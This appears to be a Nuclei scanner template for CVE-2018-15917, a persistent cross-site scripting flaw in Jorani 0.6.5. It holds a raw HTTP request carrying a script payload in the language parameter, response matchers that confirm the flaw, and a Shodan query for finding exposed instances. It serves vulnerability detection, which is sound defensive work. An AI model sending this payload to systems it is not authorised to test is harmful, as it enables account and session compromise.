id: CVE-2018-15917 info: name: Jorani Leave Management System 0.6.5 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Persistent cross-site scripting (XSS) issues in Jorani 0.6.5 allow remote attackers to inject arbitrary web script or HTML via the language parameter to session/language. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/45338 - https://nvd.nist.gov/vuln/detail/CVE-2018-15917 - https://github.com/bbalet/jorani/issues/254 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2018-15917 cwe-id: CWE-79 epss-score: 0.05086 epss-percentile: 0.92081 cpe: cpe:2.3:a:jorani_project:jorani:0.6.5:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: jorani_project product: jorani shodan-query: title:"Login - Jorani" tags: cve,cve2018,jorani,xss,jorani_project http: - raw: - | GET /session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&login=&CipheredValue= HTTP/1.1 Host: {{Hostname}} - | GET /session/login HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '' - '_jorani' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100fcf299af1032aa6610f335ae98719a2e85906f04c85a322ec5762ca0c861a222022100a8a886e147ad03e0b1b3c95aa90582f19f6ee4bda1a623ac5c265e2d66a72054:922c64590222798bb761d5b6d8e72950